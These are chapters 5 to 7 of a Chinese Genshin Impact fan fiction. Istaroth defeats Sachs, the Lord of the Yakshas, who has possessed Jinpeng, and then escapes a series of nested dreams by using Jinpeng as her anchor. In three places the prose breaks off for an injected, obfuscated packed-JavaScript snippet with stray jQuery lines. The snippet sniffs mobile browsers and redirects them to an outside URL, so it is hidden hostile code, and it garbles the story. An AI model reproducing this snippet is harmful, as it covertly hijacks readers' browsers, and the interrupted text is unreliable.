伊斯塔露没和他多计较,叹了口气。
“好吧,怪脾气的金鹏小哥,那你要吃午饭吗?”
其实她就是随了归离集的习惯,跟他客气一下,因为她也找不到吃的。
金鹏触碰傩面的手指微顿后,他低声道:
“无需。”
那很好了,伊斯塔露满意地点点头。
“那非常省事了,我俩不仅可以不吃不喝,必要时还可以不睡,节约资源。”
哎呀,她不小心把真心话说出口了。
金鹏闻言,终于舍得将目光从傩面上挪开,侧头幽幽地看了她一眼。
有点像无声的控诉,伊斯塔露心虚地吹了声口哨。
.
入夜。
伤患非常坚定地拒绝了睡床,伊斯塔露见他坚持,也没客气,给他在卧室旁边那间打了个地铺,自己躺到了被子松软的床上。
至于金鹏白日间类似预言的警告,伊斯塔露实在没当回事。
在她梦里杀了她?别说夜叉之主来了都得掂量掂量,她手下的夜叉更是想都别想。
不是伊斯塔露盲目自信,而是因为她做的梦几乎都是清明梦。
她清楚地记得梦里发生的一切,也在梦里清楚地记得自己是谁。
「时之执政」,伊斯塔露。
她梦到过一望无际的汪洋,看见白衣蓝裙的众水神女将精灵塑成人形。
也梦到过高悬的三轮明月坠落,看见如草芳绚的百花之主跌入人间。
神秘声音留下的笔记里说,她的梦即是提瓦特的过去、现在和未来。
但这一夜入梦,伊斯塔露却看到了不同以往的景象。
她初醒于人来人往的客栈,在喧嚣声和算盘声中,能窥见魔神战争中难得一见的烟火气。
伊斯塔露想越过人群,却被客栈的老板拉住了衣袖,眉眼可亲的老板告诉她客栈顶楼的露台,有仙人在等她。
伊斯塔露从善如流,登上了客栈的露台。她扶着围栏东望,只觉得夜风清爽。
“原是你唤我。”
忽然,独属于少年的清澈声音在伊斯塔露背后响起,让人想起泉水激石时的泠泠作响。
伊斯塔露猛然回头,却见清风朗月间,少年仙人踏风而来,眉眼疏淡清皎。
那少年赫然是金鹏的模样。
但他的金眸却灿如星子,依稀能从中看出几分怀念和……温柔?
伊斯塔露不敢置信地和“金鹏”对视,揉了揉自己的眼睛。
“我确实有镇守璃月之责。但无论何时,若你需要,我便在。”
“金鹏”似乎有些别扭,他略略别开了目光,耳尖有一丝绯红。
伊斯塔露听不懂“璃月”是什么,但能看懂这个“金鹏”的眼神。
……怎么说呢,按照此人的性格来说,这眼神不是很清白。
但是伊斯塔露发誓,至少她和现实里那个金鹏夜叉,不仅阵营对立,而且清清白白。
“哈哈哈,那个……谢谢你啊,辛苦了辛苦了。”
面对她不走心的应付,如明月的仙人也只是淡声应下,沉默着包容了。
伊斯塔露觉得自己有点受不住少年仙人的眼神,被这样看着,总觉得她做过什么对不起他的事似的。
她下意识地往后退,却不慎一脚踩空跌下露台。
伊斯塔露已经准备动用自己的力量稳住身形,不料少年仙人却快她一步,于半空中将她抱住。
“小心些。”
少年仙人依旧清清淡淡地开口。
伊斯塔露正想回答,却见落满星子的天幕与眼前的少年仙人一同破碎成千百片,她的眼前倏然一暗。
一点光芒自无边黑暗中燃起,失重感忽地不见,伊斯塔露站在黑暗中循光回望,看见尸山之上,执枪而立的少年夜叉。
那唯一的光芒是他带着血色的灿烂金眸。
伊斯塔露警惕地后退了半步,却被飞身而下的少年夜叉揽住了腰。
这样近的距离,让伊斯塔露能看清他的眼眸——光华灿烂,却没有焦点,像是被人操纵的偃偶。
“你在看谁?我?”
“可惜啊,没能引诱到你。”
清冷如仙的面容也能笑得如此诡艳,少年夜叉忽然伸手掐住了伊斯塔露的后颈。
随后,他张口咬向她的侧颈。
他的动作很粗暴,但在这场梦里,伊斯塔露没有痛感,只能清晰地感知到湿软在舔舐着她的皮肤。
伊斯塔露蹙了蹙眉——她能看出来,这不全然是金鹏,而是意识与他人融合在一起的金鹏夜叉。
于是她面无表情地抬手扣住了他的肩,指尖星芒闪过,视觉却再次陷入昏黑。
在“金鹏”含糊但病态的低笑声中,掐着伊斯塔露脖颈的力道逐渐减小——这个“金鹏”也消融在黑暗中。
又要转场了,伊斯塔露心有余悸地摸了摸自己的脖颈。
这梦实在有点赖皮,她想探究就转场,她想动手也转场。
这次转场后,映入眼帘的是狭小的四方空间。
一帘绣着鬼面的暗红将这里唯一的窗口掩盖,外面却响着高亢的歌声。
唱的是《山鬼娶亲》。
伊斯塔露不假思索地掀开红帘,看见血色的诡异天空、陌生的崎岖山路和远方身着红衣的人。
祂在等待载着伊斯塔露的轿子到达。
伊斯塔露眯了眯眼,感知着那个红衣人的气息——和金鹏丝丝相关,却强如魔神归终。
……夜叉之主!
得出结论的伊斯塔露略略收敛了打量的目光,偏偏夜叉之主转过头,视线即将和她撞上。
“唔。”
“……小声些。”
在夜叉之主注意到她的前一刻,有人捂住了她的嘴,放下了红帘。
随后,那人松开手,默默缩在了角落。
是金鹏,伊斯塔露最熟悉的那个,目光总是黯淡、带着茫然的少年夜叉。
伊斯塔露才舒了一口气,却再次被人掐住脖颈,她用眼角的余光扫过身后人——是之前咬过她脖颈的那个“金鹏”。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936191|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
啊,抓住你了。”
嗜血的夜叉嘴角扬起狂喜的弧度,掐着伊斯塔露脖颈的双手渐渐收紧。
伊斯塔露仍然感觉不到痛楚,但她总觉得有什么不对……
“咝。”
伊斯塔露从梦中猛然惊醒,却无法坐起身——她的肩膀被人死死按住。
几不可视物的黑暗中,少年夜叉跨坐在她身上,俯身幽幽地注视着她,眸中透出诡异的红光。
见她似是清醒过来,少年夜叉不为所动,反而还饶有兴趣地舔了舔唇,想要观察她的反应。
对此,伊斯塔露掷地有声地道:
“卧槽!你怎么半夜在我床上!”
“金鹏”:……
伊斯塔露过于抽象的反应实在超出了他的预期,对这种油盐不进的家伙,他也有些不知如何是好。
伊斯塔露像是没注意到二人之间的暧昧气氛,捏住了“金鹏”按着她肩膀那只手的腕骨,将他的手移开,从床上坐起身,和少年夜叉相对而坐。
“金鹏”似乎有些惊讶于她的力气,歪着头看了她片刻,忽然笑了:
“白天的不知道都是骗你的,你想知道什么,现在可以问我。”
停顿片刻后,他又悠悠补了一句。
“我看心情回答。”
这个“金鹏”比起白天那个,似乎爱笑很多,他弯起眉眼时,连带着眼尾的绯红都飘忽起来。
伊斯塔露对“金鹏”的提议不置可否,对面耐心等了半晌,她才懒懒散散道:
“算了,不想问。”
“不可以。”
“金鹏”忽然把手伸向伊斯塔露的脖颈,伊斯塔露却早有防备,抬手再次捏住了他的腕骨,微微发力。
即使是被伊斯塔露反制,他也依旧笑得癫狂又病态。
“你想知道什么,我告诉你啊?”
“行行行,那可是你自己要说的,”伊斯塔露把人推远了些,“那我问你答,别整那些多余的。”
“夜叉之主排斥外来者吗?”
“分人,符合祂胃口的……主并不排斥。”
一声意味不明的低笑。
“夜叉之主小心眼吗?”
“主不愿意自己的东西沾染上其他污渍,若是如此,不如焚毁。这并非心胸狭隘,不过是人之常情。”
似是意有所指。
“听说夜叉之主喜欢挂两根布条就漫山遍野乱跑,真的假的?”
“……造谣。”
笑得咬牙切齿的。
有来有回的废话间,谁也没能占到便宜,但对方受到的精神损伤大概比伊斯塔露大一点。
伊斯塔露困了,懒得陪眼前的家伙演了。
她看着“金鹏”眼里飘摇的杀意,她叹了口气,和表面笑意盈盈的少年对视:
“那什么,把你家夜叉偷走一个是我不对,抱歉抱歉。”
“但是你直接上别人身来问候我,还演都不带演的,是不是有点太重视我了?”
“嗯?”
“金鹏”俯身凑近伊斯塔露,缓缓呼出一口气,好整以暇地看着她。
伊斯塔露面无表情地往后挪了几寸,淡淡道:
“我说真的,大可不必如此。”
“夜叉之主,沙克斯。”
5. 人间一梦(五)
“有趣。”
被揭穿了身份,沙克斯也不恼,他附在金鹏身上,眯着眼笑。
“你为何能看出来?”
沙克斯毫不掩饰自己的目光,直勾勾地盯着伊斯塔露。
伊斯塔露觉得他很装,她真是懒得喷这魔神。
沙克斯附身金鹏的时候根本没掩饰过自己的气息——这种如同归终的感觉,不是魔神才有鬼。
招摇成这样,很难说是蠢还是自我感觉良好。
“这重要吗?”
“比起别的,你最好先担心自己的命,你自己也清楚,摩拉克斯想解决你很久了吧。”
伊斯塔露不喜欢这种粘稠又带着侵略性的目光。
她偏开头,从床上起身,和沙克斯拉开了距离。
见伊斯塔露搬出摩拉克斯的名号,沙克斯笑得更加癫狂,衬得金鹏眼尾飘出的绯红更加诡艳。
“哈哈哈哈哈,原来是摩拉克斯的探子……”
“你凭什么觉得,你能安然无恙地回去把情报送给摩拉克斯?”
毫无征兆的,金鹏的身躯化作残影,直直冲向伊斯塔露,快到让人无法捕捉身形。
迅捷如金鹏夜叉,往往有让人在无知觉间毙命的能力。
伊斯塔露甚至懒得去捕捉残影,她打了个响指。
须臾之间,她周遭的时间就此停滞,被沙克斯附身的清瘦身躯也保持着俯冲的姿势,停在半空。
伊斯塔露背着手绕着无法动弹的沙克斯走了一圈,挑了挑眉:
“来,继续放狠话?我听着呢。”
因为伊斯塔露的时间静止,沙克斯无法再自如控制这具身躯,也无法对她的挑衅做出应答。
看不到夜叉之主装x失败后的恼羞成怒,伊斯塔露有些遗憾地叹了口气,正色道:
“所以你又凭什么觉得,我需要回归离集才能报告你的行踪?”
星芒闪过,一颗小巧的岩星出现在她的掌心。
这是她出发前和留云借风真君抹眼泪卖惨讨来的。
真君说,只要岩星破碎,她就能联系到摩拉克斯。
伊斯塔露毫不犹豫地抬手捏爆了这颗岩星,岩元素的碎晶四溅的瞬间,她和沙克斯都感受到了属于那个魔神的气息。
一道虚影出现在二人面前,在伸手不见五指的昏黑中成为唯一的光源。
摩拉克斯的虚影背对二人,在听到伊斯塔露喊了一声“帝君”后才负手转身。
他审视着沙克斯和伊斯塔露,那双金眸依旧璀璨到令人生畏。
伊斯塔露指指被沙克斯俯身的金鹏:
“夜叉之主的灵魂在这里面,把他灵魂拖出来弄死,应该就算解决问题了。”
话音未落,伊斯塔露就觉得一道怨恨的目光死死锁在自己身上。
……她是很坏的,伊斯塔露不否认。
在夜叉之主惊惧而怨毒的目光中,摩拉克斯的虚影看着伊斯塔露,淡淡开口:
“此番我尚在征讨漩涡之魔神,无暇分身。”
“你还需去寻得夜叉之主的魔神之躯,届时,我必会亲自降临,将其斩草除根。”
“?”
伊斯塔露头顶冒出一个大大的问号——天大的好机会,让她逮到了行踪不定的夜叉之主,摩拉克斯这是不打算来?
要她一个身份暴露的卧底去找夜叉之主的真身?还撂下威胁说找到了就来揍夜叉之主?
夜叉之主就算是傻子也知道不能让摩拉克斯来啊!
他摆明了就是不想来吧。
这算不算耍大牌?摩拉克斯不讲武德!
“帝君……”
伊斯塔露还想争取,摩拉克斯的虚影却已经慢慢消散。
“我去!摩拉克斯!我谢谢你全家!”
伊斯塔露忍无可忍,发出礼貌的问候。
话音未落,她的后颈再次被人掐住——摩拉克斯的虚影消失前甚至破除了她的时间静止!
摩拉克斯甚至让沙克斯恢复自由了。
伊斯塔露想骂人。
这次,掐着她的人没留手,细长的五指迅速缩紧……
“呃……”
时间再次在刹那间静止。
附在金鹏身上的沙克斯发出一声闷哼,他的灵魂被伊斯塔露勾手生生拽出。
失去意识的金鹏后仰着倒在了床上,另一个模样的灵魂体被伊斯塔露拽在手中。
伊斯塔露用另一只手揉着自己被掐出红痕的后颈,同时把沙克斯的灵魂提到自己面前,一脸认真地和他推心置腹:
“……就算我比摩拉克斯好说话,你也不能觉得我比他好欺负啊,是不是?”
“你又是哈气到我脸上又是看着我笑,挑衅谁呢?”
“还‘不愿意自己的东西沾染污渍’,谁是你的东西?金鹏?”
“诶,我不仅要偷你家夜叉,我还要全部偷了,都偷回归离集。”
沙克斯:“……”
虽然下了死手,他只是厌恶她身上来自归离集的气息,但并不讨厌伊斯塔露。
相反,他很乐意让她成为自己座下的夜叉,被他掌控一辈子。
夜深人静的时刻,他和伊斯塔露之间的气氛显然是有些暧昧的,但她显然没感觉出来。
那他很抛媚眼给瞎子看了。
“最后,”伊斯塔露的眼神倏地冷下来,“抱歉,既然摩拉克斯不来,我也不想死,那现在也只好由我来解决你了。”
“……希望以后不会再有魔神战争这种东西了。”
伊斯塔露呼出一口气,眼底光华流转,星辰在指间绽开。
“你……”
察觉到即将摧毁自己的力量的来源,沙克斯瞪大了眼,随后,他了然地笑了,气若游丝。
“哈哈哈哈哈,哈哈哈哈哈……”
“不是,咳咳,不是我沙克斯不可位列七神,而是天要我亡……”
“来自……咳咳咳咳,来自高天之上的……神明,却在偏帮……摩拉克斯……”
伊斯塔露叹了口气,收紧五指,湮灭沙克斯灵魂的光辉更盛。
与此同时,房间的木门被人“砰”地推开——留云借风真君带着几名仙人闯了进来。
留云借风真君的语气急促,她甚至忘了自己平常的别扭:
“伊露!帝君道你在沙克斯的领地遇险,他征伐奥赛尔分身乏术,本仙第一时间领人赶来了!你可有恙?先随本仙离开这里!”
随后,留云借风真君看着逐渐消散的沙克斯灵魂和伊斯塔露,瞪大了眼。
“啊?留云借风真君?”
刚刚把沙克斯解决的伊斯塔露很尴尬地冲着众位仙人笑了。
“我没事啊哈哈哈哈,夜叉之主……呃,比较蠢,我不小心把它解决了。”
“哈哈哈哈哈,我们去把沙克斯的真身找出来消灭掉,然后把这些夜叉放了,就可以打道回府了,哈哈哈哈很轻松啊……”
恰好目睹一切的众仙家:演都不演了。
.
接下来的几天里,伊斯塔露随着来援的众仙人找出了夜叉之主的魔神之躯——在他领地的隐秘河谷的溪流中。
绑架夜叉行凶,为他所用,却不敢直面摩拉克斯,藏在水下。
伊斯塔露不知道该说他恶毒还是胆怯。
……但无论如何,所谓「天理」发起的魔神战争,终究是藐视性命的不义之战。
伊斯塔露垂眼,看着自己夺去沙克斯性命的手,一时无言。
直到神秘声音消失,也没给伊斯塔露解释「天理」究竟是什么。
身为「天理」影子的她是否也是罪恶的呢?
能毫不犹豫地夺去其他魔神的性命。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936192|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“伊露,发什么呆呢?”留云借风真君抱臂站在她面前,“该回归离集了。”
一同回去的不仅有来支援伊斯塔露的众仙家,还有一部分感念帝君解放痛苦之恩的夜叉。
其中就包括金鹏。
伊斯塔露总觉得有什么不对,但却说不清楚,只是直觉上觉得摩拉克斯应该亲自动手解决夜叉之主。
但她找不到理由,便也只能在留云借风真君“离了本仙还有何人等你”的嘟囔声中,和其他人一起回到了归离集。
众仙家得胜归来的第三天晚上,归离集举行了盛大的庆功仪式。
甚至连征讨漩涡之魔神的摩拉克斯,都赶回归离集,参与了这场庆功。
在篝火和谈笑声中,许多人举着酒杯来向伊斯塔露敬酒,其中有千岩军的将领,有飒爽大笑的仙人,甚至还有摩拉克斯本尊。
伊斯塔露想想自己在归离集的身份,帝君亲自敬酒,她反而有点不自在。
摩拉克斯倒是一脸淡然:
“伊露,此番大破沙克斯却无人伤亡,你功不可没,敬你以身入局,护尘世苍生。”
“帝君谬赞,本分而已。”
伊斯塔露回敬摩拉克斯,将杯中的酒一饮而尽。
二人颇有君臣和睦的模样。
但摩拉克斯敬这一杯酒也不足为奇。
如果没有伊斯塔露,摩拉克斯定然要正面攻打夜叉之主,这样会有很严重的伤亡。
这一战,也算是伊斯塔露的成名之战。
而令伊斯塔露在意的是,金鹏夜叉自从被收入摩拉克斯麾下以后,再没和她见过面——直到这次庆功宴。
听说摩拉克斯为他赐名“魈”,让他藏起自己的真名,以防再被他人利用。
魈似乎生性孤僻,即使是热闹非凡的庆功宴,他的夜叉伙伴都和其他人谈笑风生了,他也只是沉默地坐在角落里。
作为宴会主角的伊斯塔露也抽不开身和他打招呼。
等到庆功宴结束后,伊斯塔露才找到刚离席的魈。
“嗨嗨,魈,好久不见。”
“是你?”魈转过头,声音清淡而无波无澜,“何事?”
甚至看上去有点想应付完她快些离开。
伊斯塔露觉得自己要小小地伤心了。
她好歹也是把魈捡回去救了他一命吧,虽然……害得他被沙克斯附身,但最后他也算重获了自由吧?
怎么见到她跟躲债一样避之不及?
伊斯塔露本来也只是想打个招呼,见魈如如此,也悻悻地挥了挥手。
“没事没事,我先走了。”
魈似乎顿了一下,忽然开口:
“正巧,帝君有事唤你,若你现在有空,记得去寻他。”
“摩……咳咳,帝君喊我?行。”
这传话来得莫名,但伊斯塔露觉得魈也不像是会骗人的主,便应下,准备去找摩拉克斯。
在她转身之际,魈却一把拉住了她。
伊斯塔露疑惑地回头,却见原本清冷淡定的魈忽然大喘着气,眼眶泛红:
“不要,不要相信……你看到的……”
一语未尽,他忽地又收回了手,若无其事般转头离开。
奇怪的夜叉小哥,就算跑到摩拉克斯手底下做事,还是奇奇怪怪的,伊斯塔露想。
但她也因为魈这句话留了个心眼。
随后,她如魈所转述的那样,去摩拉克斯在归离集的临时居所中找他。
摩拉克斯居所的门半掩着,伊斯塔露敲了敲门。
“帝君,有何事唤我前来?”
屋内的人应了声,让她进来,伊斯塔露推开门。
摩拉克斯背对伊斯塔露,正对着舆图排兵布阵,听她又喊了一声“帝君”,才转过身来。
那张脸却赫然是沙克斯的!
6. 人间一梦(六)
“我去,脏东西!”伊斯塔露自言自语,“要不还是让归终来看看吧,我先撤……”
话虽如此,她却随手从虚空中拔出一把剑锋纤细的长剑,随即响指声响起,所有的时间在此凝滞——
伊斯塔露毫不犹豫地将剑刃插入长着沙克斯脸的“摩拉克斯”腹中。
“噗。”
沙克斯猛地喷出一口血,他喘着气,俯身和面无表情地伊斯塔露对视,神色带着癫狂的火热。
“哪怕是……高天之神,也为我所困……我本当位列七神!无人……咳咳,可以挡我之路!”
“高贵,高贵如你……何曾不是为,咳咳咳,为这区区尘世之神所困?!哈哈哈哈哈哈!”
与此同时。
无边的黑暗从角落蔓延开,须臾间卷席天地,伊斯塔露不过是一个转身的功夫,眼前已是铺天盖地的阴翳。
搞什么鬼,伊斯塔露蹙了蹙眉,她刚才原来是还在梦里。
难怪沙克斯死得那么无声无息,仙人们也不为她杀死不输尘神的魔神而感到奇怪。
她定下心神,猛地睁开眼。
眼前却不是聚落里那间阴暗的屋子,而是云烟渺渺的群山。
她坐在湖中古树下的石桌边,远方扶光似乎触手可及,瑞霭祥云环绕身侧。
近处山巅的青色仙鸟长唳一声,飞到她面前,化作青发黑衣的女子:
“帝君,你舍得醒了?”
伊斯塔露下意识回头,却没看到摩拉克斯的影子,留云借风真君倒是撇了撇嘴:
“帝君为何回头,此间除了你,又有何人能被唤作帝君?”
“我?”伊斯塔露指着自己,膛目结舌,“我当帝君?摩拉克斯同意吗?”
听到“摩拉克斯”几个字,留云借风真君的目光暗了暗,她没好气地抬手敲了敲伊斯塔露的脑袋:
“您这是又梦见逝去的故人,分不清现实和过去了?”
“逝去的故人?到底是……怎么回事?”
伊斯塔露见留云借风真君对她莫名的恭敬不似作伪,正色询问。
她肯定还没醒吧?她明明在夜叉之主的领地给摩拉克斯当探子,怎么一觉醒来成了帝君?
摩拉克斯呢?归终呢?这个帝君无论如何也轮不到她来当啊!
“帝君,不,伊露,你……”
留云借风真君恨铁不成钢地瞥了她一眼,叹息道:
“曾经的帝君和归终都死在魔神战争中,明明是你承这两位遗愿,带领我们平定四方,偏偏又是你最走不出来。”
“这千百年间,你每每梦到他们还活着的时候,总是分不清现实和梦。”
悠长的叹息声令人恍惚。
伊斯塔露身上的衣衫也不再是一直以来的白色斗篷,而是繁复华丽的金绣冕服。
留云借风真君的神态也不似作伪。
但伊斯塔露还是不敢信——她不是作为时间的神明么?为什么她会不记得摩拉克斯和归终死了?
她的记忆为什么缺失那么长一段时间?
但是要归终死亡,确实又是神秘声音留给她的笔记里记载了的。
如果不出意外,归终会死,而留云借风真君刚才就说了,归终已死。
……难道说像留云借风真君说的,她早就分不清梦和现实了?
伊斯塔露扶着石桌,一言不发。
——直到一道青影出现在她身后,少年清冷微哑的声音响起:
“帝君,反贼……浮舍,已攻向天衡山,是否出兵,请帝君定夺。”
伊斯塔露闻言回头,见上一个梦里被赐名“魈”的金鹏夜叉单膝跪地,端端正正地等待她的旨意。
眉眼疏淡,轻衣缓带,是她在之前某个梦里见过的仙人模样。
……梦?伊斯塔露倒吸一口凉气。
之前的仙人、夜叉是梦,杀死沙克斯是梦,给摩拉克斯打探消息是梦,还是现在这些也是梦?
究竟是庄周梦蝶,还是蝶梦庄周?
“降魔大圣,”留云借风真君见伊斯塔露还恍惚着,“帝君初醒,你且稍等。”
“嗯。”
金鹏夜叉垂着眉眼,却还单膝跪着不愿起身。
伊斯塔露并不适应他这种过于恭敬的态度,不自在地摆了摆手:
“降魔大圣,你先起来。”
“无妨,帝君不必如此呼我,”降魔大圣垂着眉眼,淡淡道,“您下令便是。”
留云借风真君见状,便和伊斯塔露耳语:
“啧……降魔大圣他想是不好向你开口,还得是我来说。”
“帝君也知道的吧?带头反叛的两名夜叉打的旗号是‘帝君摩拉克斯未死’。”
“何况这二人于降魔大圣如同亲人,他大概不希望由他来对峙他们。”
“我知道了,谢谢真……谢谢留云。”
伊斯塔露还是不习惯这个帝君的身份,她叹了口气,亲手把降魔大圣扶了起来:
“此番平乱,我会亲自出征。”
话音未落,留云借风真君和降魔大圣都瞪大了眼。
“帝君……?”
降魔大圣对上伊斯塔露的眼眸,一时不知该说什么。
伊斯塔露却一甩衣袖,转头望着云岫间的金乌,眯着眼,一字一句地道:
“正巧,时至今日,我也不相信摩拉克斯已经殒命,让我亲自来会会这两位夜叉。”
“我也想知道到底是怎么回事。”
.
在伊斯塔露的“帝君亲征”下,以浮舍夜叉为首的反叛队伍几乎是节节退败,几乎溃散,领头的两个夜叉被她逼到了名叫“荻花洲”的地区。
孤寒的月光下,六臂的魁梧夜叉与发如火焰的夜叉背靠着背,和伊斯塔露这一人一剑对峙。
伊斯塔露的目光扫过浮舍与应达,沉吟片刻后,她收起长剑,淡淡道:
“腾蛇太元帅,火鼠大将,你二人以‘帝君摩拉克斯未亡’为旗号,逆我之治。”
“那么,摩拉克斯,到底在哪里?”
伊斯塔露与这两位夜叉对视,想从这两人的神态中看出些许端倪。
可这两位夜叉像是魔怔了一般。
浮舍挥舞着六臂,念叨着“帝君摩拉克斯未亡”;应达鬓发如火,她痴痴地盯着伊斯塔露,喃喃道“你非帝君,你非帝君”。
忽然,应达飞身扑向伊斯塔露,在后者轻而易举地侧身闪开后,她死死拉住伊斯塔露的衣角,抬眼看她。
两行血泪滑下。
“你可曾扪心自问,你敢当帝君之名!”
应达说得对,伊斯塔露心虚地移开目光,她确实不敢当帝君之名。
她始终觉得摩拉克斯不会死得那么轻松,这些民众和仙人的帝君就应该是摩拉克斯……
伊斯塔露豁然开朗。
是的,摩拉克斯怎么可能死得那么轻松!那可是征伐四方的魔神啊!
当初摩拉克斯派她去当探子时的计划可是打算荡平周围所有魔神,怎么可能轻而易举中道崩殂,还被所有人当做理所当然!
“我不敢当帝君之名,”伊斯塔露清晰而坚定地回复应达,“摩拉克斯才是护佑一方的帝君。”
得到她肯定答复的应达瞪大了眼,随后被铺天盖地的黑暗吞没。
这仍然是一场大梦。
伊斯塔露心下已经有数,她陷入了一场层层叠叠,看不清真实的梦境。
那么……除了她,还有谁是真实的?谁是脱离这场梦的锚点
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936193|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?
伊斯塔露有些头疼。
难怪之前金鹏夜叉和她说,她会死在梦里,像这样不停转场,她角色扮演得累也累死了。
……或许哪怕突然回到了现实,她也会把看到的一切当做梦。
随后,黑暗渐渐褪去,天光大亮。
伊斯塔露再次“睁开了眼”。
映入眼帘的是三张放大的脸,伊斯塔露眯了眯眼,其中两张脸她认识——在上个梦里见过的,弥怒夜叉和伐难夜叉。
见伊斯塔露在床上醒来,围着她的三个夜叉都长舒了一口气,散开。
“伊露伊露,你没事就好,”伐难摸了摸伊斯塔露的额,“应该也没什么后遗症,下次别再惹帝君生气啦。”
“……要不然可就没命了,伊露前辈。”
那唯一一个伊斯塔露不认识的夜叉小声补了一句。
“咝,这是怎么个事?”
伊斯塔露想爬起来,却发觉四肢无力,她也不为难自己,重新躺下。
弥怒无奈地看了她一眼。
“伊露前辈,说句您不爱听的,人不能记吃不记打啊。”
“就您最喜欢触帝君霉头,被刑罚伺候丢回来,伤一好又去招惹帝君。”
伊斯塔露:???
他要不听听自己说的是人话不?她招惹摩拉克斯还被打?
她又不傻,搞事指南只说搞搞摩拉克斯心态就能走,她才不会留下来挨打。
而且这个梦里的摩拉克斯拿的是什么剧本?暴君吗?被惹了就给人上刑?
“我们被压迫的人民应该联合起来反抗暴君……”
伊斯塔露话音未落,唯一一个面生的年轻夜叉便急匆匆地打断了她:
“伊露前辈,这话可说不得,万一隔墙有耳那就是惹祸上身啊!”
“唉,”伐难感应四周,确认无人探听以后才叹气,“也不能完全怪帝君。”
“原本帝君也是圣文神武的神明,可惜自从归终女神被刺杀后,就变成这样了……”
“归终被刺杀?”
伊斯塔露捕捉到了关键字眼。
“不要一副不知道的样子啊,伊露,”伐难弹了一下她的额头,“千年前魔神战争时,归终女神被刺杀,帝君把她岩化吊着一口气至今。”
这次的梦境背景是现实的千年之后吗?伊斯塔露蹙了蹙眉。
“而帝君在归终女神被刺杀以后,冲冠一怒为红颜。”
“后来就逐渐变成了现在这样暴虐果决的秉性,只留了一分原来的模样。”
如果这是现实,伊斯塔露大概知道自己为什么没走了——摩拉克斯好像有点崩溃,但又没完全崩溃,归终也没完全死。
作为一个搞事搞了一半的内奸来说,这确实很尴尬了。
“我知道你与留云真君这些前辈们,在帝君圣明时就跟着他,很难接受如今的帝君。”
“但是帝君已然是这样,梦该醒了。”
伐难死死地盯着伊斯塔露的双眼,重读道:
“伊露,梦该醒了。”
“是啊,伊露前辈,”面生的年轻夜叉还煞有介事地补了一句,“要不怎么对得住替你扛了帝君余下怒火的金……”
“铜雀,住口!”
伐难和弥怒异口同声地打断了名为“铜雀”的年轻夜叉。
“金什么?金鹏吗?他为我挡下了……?”
伊斯塔露追问道,弥怒和伐难却对此三缄其口,还捂上了铜雀的嘴。
“金鹏,金鹏……”
伊斯塔露垂眼,再次念出这个名字,忽然心下了然,不顾身上的酸痛感,从床榻上爬起身,飞一般离开了夜叉们照顾她的居所。
她找到了,找到脱离这场梦的锚点了!
7. 人间一梦(七)
锚点是金鹏。无论哪个梦境都始终存在的金鹏。
她要去找金鹏!
伊斯塔露出门后,感知了片刻金鹏的气息,随后,毫不犹豫地穿过人声喧嚣的集市,奔向依山而建的高台。
名为“玉京台”的高台之上风起云涌,云中隐隐能看见真龙的法相。
正中间的圆形祭坛被围观人群里三层外三层地包围起来。
伊斯塔露磕磕绊绊地地越过人群,留云借风真君在她眼前一晃而过,留云真君似乎还想拉住伊斯塔露,却被她躲开。
玉京台正中央,白袍金眸的神明负手而立,岩星环绕在侧,伤痕累累的少年仙人跪地在前。
“摩拉克斯”甚至看都不看金鹏,俨然是高高在上的模样。
他冷着脸,不急不缓地开口:
“护法夜叉今公然违背神令,有失护佑璃月之责,当受……”
判决即将落下之际,人群中却有人骤然发声:
“护法夜叉无罪!”
无数视线霎时落在走出人群的伊斯塔露身上。
伊斯塔露抖了抖披着的斗篷,在众目睽睽之下,一步步走向跪在地上的少年仙人。
在“摩拉克斯”阴恻恻的注视下,她扶起了跪在地上的金鹏,随后抬头。
她与那暴戾的君王对视:
“错的是你,夜叉之主,你扮演的摩拉克斯实在是可笑。”
满堂寂静,她的话语掷地有声。
“摩拉克斯从未称帝过,帝君不过是民众给他的美称,又何来‘暴君’一说?!”
“你不会理解,圣明如岩王帝君,绝不会因为故友的死去而迁怒、迫害他人。”
其实伊斯塔露不算太了解摩拉克斯,她就觉得这哥们有把她当驴使的迹象。
但是在归离集居住的那几天,她也能感觉到民众对摩拉克斯那发自内心的信服。
所谓帝君,对于那一方的百姓而言,名副其实。
在“摩拉克斯”被戳穿后恼羞成怒的瞬间,伊斯塔露再次拔出剑。
只是这次,她没有刺向沙克斯,而是剑指高天。
盘桓的法相溃散,聚拢的云雾消失,剑锋划破了朗朗天光。
无边的黑暗再次缠了上来。
环绕伊斯塔露指间的碎星刹那间飞向四周,随着清脆的声音响起,所有黑暗破碎,朦胧的光从碎片缝隙透出。
